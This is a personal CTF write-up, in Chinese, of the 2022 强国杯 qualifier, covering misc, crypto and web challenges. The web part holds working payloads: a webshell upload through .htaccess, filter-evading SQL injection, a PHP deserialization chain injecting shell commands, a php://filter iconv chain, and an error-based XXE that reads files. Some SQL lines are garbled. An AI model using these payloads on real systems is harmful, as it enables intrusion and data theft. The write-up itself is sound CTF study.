技术内容 / 本科的一些学习笔记和wp / 2022强国杯初赛复现

2022强国杯初赛复现

队里主要是宏爷和星爷打的，我就是个划水的菜菜

复现参考了杭州职业技术学院一位大师傅的wp和Stan盘木安全实验室的wp

https://guokeya.github.io/post/lhogMO5Iq/

https://mp.weixin.qq.com/s?__biz=Mzg4MzgxMDc5MA==&mid=2247485941&idx=1&sn=5e1522cdbc1fe61cc4f9ac0cdfff4b30&chksm=cf40817cf837086a101d072581d0ac64b8655117ee074090362cc987fef779b7b68945b97455&mpshare=1&scene=23&srcid=0717TFHwaZOsf4ejp08LogIz&sharer_sharetime=1658048790046&sharer_shareid=6b1811d471ad6922922309cb2f4c3d68#rd

MISC

Welcome_to_QGB

直接base64

包上flag即可flag{Welcome_to_QGB}

大佬大佬

题目是一张png图片，先用zsteg梭一下

发现一张png，将他分离出来

题目提示修改尺寸，将他的高修改

得到flag

The fun picture

题目是个加密的压缩包，直接爆破

密码为6yOK,解压后得到三个文件

查看flag.txt

提示flag为图片，把他放到010中没有前缀，添加上%png

得到一张二维码，扫描的到一串base64

解密得到flag

找找GIF

题目有三个文件，但用winrar打开时aaa有密码，但用360压缩就没了(不知道为啥)

其中aaa没有后缀将他放到010中查看

发现是png，将后缀改为png查看，感觉少一半

修改高度

将他反过来就是bbb.zip的密码，得到一个没有后缀的bbb文件，放到010中没有文件头，但最后是00 3b

猜测是gif文件，添加上文件头

得到一个gif可以看到flag闪过，截图得到flag

B@tCh

这是什么奇怪的文件?我们从一个黑客的计算机中截取,你能帮忙分析一下它吗?(注意

,调试时候出现重启是正常现象,注意题目输出)

一个被加密的bat文件搜索bat乱码解密得到一个用doc打开解密的方法

然后继续搜特征找到这篇文章

还原BatchEncryption(201610版本)混淆的批处理文件

https://blog.csdn.net/Hunter98234/article/details/108672926

用这边提供的脚本稍微修改将

::BatchEncryption Build 201610 By gwsbhqt@163.com\r\n

这条判断删掉直接对报错的源文件进行解密

#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Batch Decryption 202009 (BatchEncryption Build 201610)
#

import os

def decryption(data):
    if not (data[0] <mark> 0xFF and data[1] </mark> 0xFE):
        print('Batch decryption bom error!')
        return
    if str(data[2:9], encoding="utf-8") != ' &cls\r\n':
        print('Batch decryption cls error!')
        return

    vars = {}

    # decryption line
    i = 60
    l = len(data)
    while i < l:
        i = run(vars, data, i)

def run(vars, data, i):
    buf = ''
    f = 0
    t = 0
    x = False
    l = len(data)
    while(True):
        if data[i] <mark> 0x0d and data[i+1] </mark> 0x0a:
            i += 2
            break
        # get %var:~x,y% %0
        if data[i] == 0x25:
            if not x:
                x = True
                f = i
            else:
                x = False
                t = i
                rst = var_percent(data[f:t+1], vars)
                buf += rst
        else:
            if not x:
                buf += str(data[i:i+1], encoding="utf-8")
            else:
                if (f + 1 == i) and ((data[i] >= 0x30 and data[i] <= 0x39) or data[i] == 0x2a):
                    x = False
                    t = i
                    rst = str(data[f:t+1], encoding="utf-8")
                    buf += rst
        i += 1
        if i >= l:
            break
    #
    print(buf)
    bufs = buf.split('&@')
    for var in bufs:
        if var[0:4] == 'set ':
            var = var[4:]
            b = var.find('=')
            vars[var[0:b]] = var[b+1:].replace('^^^', '^')

    return i

def var_percent(data, vars):
    full = str(data, encoding="utf-8")
    buf = full[1:len(full)-1]
    buf = buf.split(':~')
    var = buf[0]
    if not var in vars:
        vars[var] = os.getenv(var)
    ent = vars[var]
    if (len(buf) > 1):
        l = len(ent)
        buf = buf[1].split(',')
        f = int(buf[0])
        t = int(buf[1])
        if f < 0:
            f, t = l + f, t
        rst = ent[f: f+t]
    else:
        rst = full
    return rst

encrypt_file = './B@tCh.bat'

if __name__ == '__main__':

    try:
        file = open(encrypt_file, "rb")
        data = file.read()
    except Exception as err:
        print('Batch decryption read error:', err)
        exit
    else:
        file.close()

    decryption(data)

运行得到flag

flag{156b404a-6bc8-4bf7-8121-a133795e4edd}

Crypto

babyRSA

基本的rsa公式

import gmpy2 as gp
import binascii
p =  122661900225958537473593999629721155547445152508344628379156151659796333424765145214036218314036538367449542188442412001233407797975924025535192193558685614179856037200129145911423039793961531441773477698026833665056111228506730246279582720435235709543855376031268946650792983451355568301885456994665262875749
q =  152724789318100477389853045726902882371493936383383619555088124064539207319241990180547432685312774553372809313491471789726609450644068056661970298474939384495232219405764685450242448624149384201199927977364779992607712253080589100019883370160068766123718298014862011278111513825917110130106578782458953059859
e =  33
c =  11852026632281701016724299626853609925180998208455660311000462227020929333377781887963495074427303581997467868526563174560178272022772274396432682692794063165224973938499915472777760940556428251371134510052503881386517887007288504116932135535735038891342756359104150065602002052735935730495500714873277911540993054971564663909394753577934282562474400064427000243598933915050367444422905464938144621404295662232927161154426321727883942392656517143955794390377418120483810457172329736269488772672472120992463072392783584779323287481047740952196227038157414187174528649660615317679662848063671637919176651288177629770199
n = p*q
phi = (p-1) * (q-1)
d = gp.invert(e, phi)
m = pow(c, d, n)
print(m)

得到

621705382104866156546935593390435525320795645461697933164154189039655097974493239721747686929741415975229964611798557062065834464781726955133063049051993398215120634674474750860776295024520795799504015222397

将他转16进制

7beee48d0f44b72d5339c5117463133814bb5ba5ad2fdb13a2da3eaeab17a20408575542981c267a5f165c32df842d1f666c61677b32363061396137333833616664356663393739333566326332643464366662667d

再转hex得到flag

WEB

upload_new

测试了一串只能提交jpg而且对<?也进行了检测，可以构造小马

上传报错是Apache可以想到用.htaccess来执行php木马

用bp来修改类型

再修改图片类型

用蚁剑连接

得到flag

下面是一些从盘木的wp里摘来的一些有意思的东西

没有<?标签的php脚本形同虚设，压根肌无力

那么有没有一种方法可以不需要<?标签或者有东西代替呢

巧了还真有

PHP的XML风格：

<?php
  echo "爱老虎油";
?>

PHP的简短风格：这种标记风格是最简单的，要使用这种标记风格，需要在配置文件 php.ini 中启用 short_open_tag 选项。不过在日常的开发中并不推荐使用这种风格的标记，因为这种标记在许多环境的默认设置中已经不支持了。

<?
    echo "爱老虎油";
?>

ASP风格：这种标记风格与 ASP 或 ASP.NET 的标记风格相同，默认情况下这种风格是禁用的。如果想要使用它需要在配置设定中启用了 asp_tags 选项。

<%
    echo "爱老虎油";
%>

script风格：

<script language="php">
    echo '爱老虎油';
</script>

没错，我一眼就相中了这个，不过值得一提的是该标记风格在 PHP7 中已经不再支持

file_sql_new

select替换为空

union selselectect 一把梭

好，很精神

这题当时没看，一直在研究反序列化了

直接使用load_file('/var/www/html/index.php')读源码

发现过滤了an，select，txt

?id=1' %26%26 1=1--+

?id=1' %26%26 1=2--+

使用order by 判断得出数据库共有三列

id=-1' union selselectect 1,(select database()).(selselectectgroup_concat(table_name) from information_schema.tables where table_schema=database()-+

id=-1' union selselectect 1,(seleselectct group_concat(column_name) from information_schema.columns where table_name=M14g').(selselectect aroup concat(table name) from information schema.tables where

查 fllllag ?id=-1' union selselectect 1,(seleselectct group_concat(column_name) from information_schema.columns where table_name=114g'),(selselectect group_concat(fillag) from 4g limit 0,1)--+

ezpop_new

这题是一个反序列化字符串逃逸

上次校赛忘了留题目源码，自己的wp都有点看不懂了，这次留一下

<?php
function filter($string) {
    $safe = array('system','fopen','fread','file_get_contents','flag');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'nonono', $string);
}

class PingUtils{
    function __call($name,$args){
        system("ping -c4 ${args[0]}");
    }
}
class Cindy{
    var $someone;
    var $phone;
    function call(){
        $this->phone->call($this->someone);
    }
}
class Bob{
    public $flag=True;
    public function __get($a){
        if($this->flag){
            $cindy = new Cindy();
            $cindy->someone =  $_REQUEST['someone'];
            $cindy->phone = "p50";
            #var_dump(filter(serialize($cindy)));
            $cindy = unserialize(filter(serialize($cindy)));
            $cindy->call($someone);
        }else{
            echo 'nonono';
        }
    }
    public function __wakeup(){
        $this->flag = False;
    }
}
class Alice{
        public function __destruct(){
        echo $this->c->b;
    }
}
highlight_file(__FILE__);
@unserialize($_GET['pop']);

<?php
class Alice{
    public function __construct($c){
        $this->c=$c;
    }
}
class Bob{
    public $flag=True;
}

echo(serialize(new ALice(new Bob())));

payload

?pop=O:5:"Alice":1:{s:1:"c";O:3:"Bob":1:{s:4:"flag";b:1;}&someone= flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagfopen;cat /fla?";s:5:"phone";O:9:"PingUtils":0:{}}

本地调试过程

http://127.0.0.1/2.php?pop=O:5:%22Alice%22:1:s:1:%22c%22;O:3:%22Bob%22:2:{s:4:%22flag%22;b:1;}}&someone=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagfopenls%22;s:5:%22phone%22;O:9:%22PingUtils%22:0:{} ls /

看到flag flag名字用f???绕过最后payload

?pop=O:5:%22Alice%22:1:s:1:%22c%22;O:3:%22Bob%22:2:{s:4:%22flag%22;b:1;}}&someone=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagfopencat%20/f???%22;s:5:%22phone%22;O:9:%22PingUtils%22:0:{}

哈哈，wtm，看看我自己构造的链子，有点丢人

反序列化还没学明白了属于是

ezweb_new

重生之我是dengfeng，我在学渗透，机缘巧合下看到一个php网站，很简单呀！一句话让他把shell吐出来了，但是为什么拿不到flag呢？他去找in1t，他说这题目他不讲武德，搞偷袭，搞题中题。

 <?php
    highlight_file(__FILE__);
    $_=@$_GET['‮imaohw?⁦⁩⁦whoami'];//
    $__="/var/www/html";
    if($_ && @substr(file($_)[0],0,6) === '@<?php'){
        include($_);
    }
    foreach ($_GET as $key => $value) {
        $key = $value;
    }
    var_dump(scandir($__)); array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }

https://fjnusec.cn/2022/03/29/NISACTF2022-Official-WP/#checkin

看源码可以发现异常

参数名： %E2%80%AEimaohw%3F%E2%81%A6%E2%81%A9%E2%81%A6whoami

unicode 字符串+filter构造一句话
http://47.94.151.201:31863/?%E2%80%AEimaohw?%E2%81%A6%E2%81%A9%E2%81%A6whoami=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd

ps有java。代理出来。是个xxe

tmp下写个dtd

<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>

<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///tmp/1.dtd">
    <!ENTITY % condition 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///flag">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>
    %local_dtd;
]>
<user>
            <username>flag</username>
            <password>root</password>
</user>

iconv -f utf8 -t UTF-32LE 1.xml > 2.xml;proxychains python2 1.py 2.xml

看不懂，该学xxe了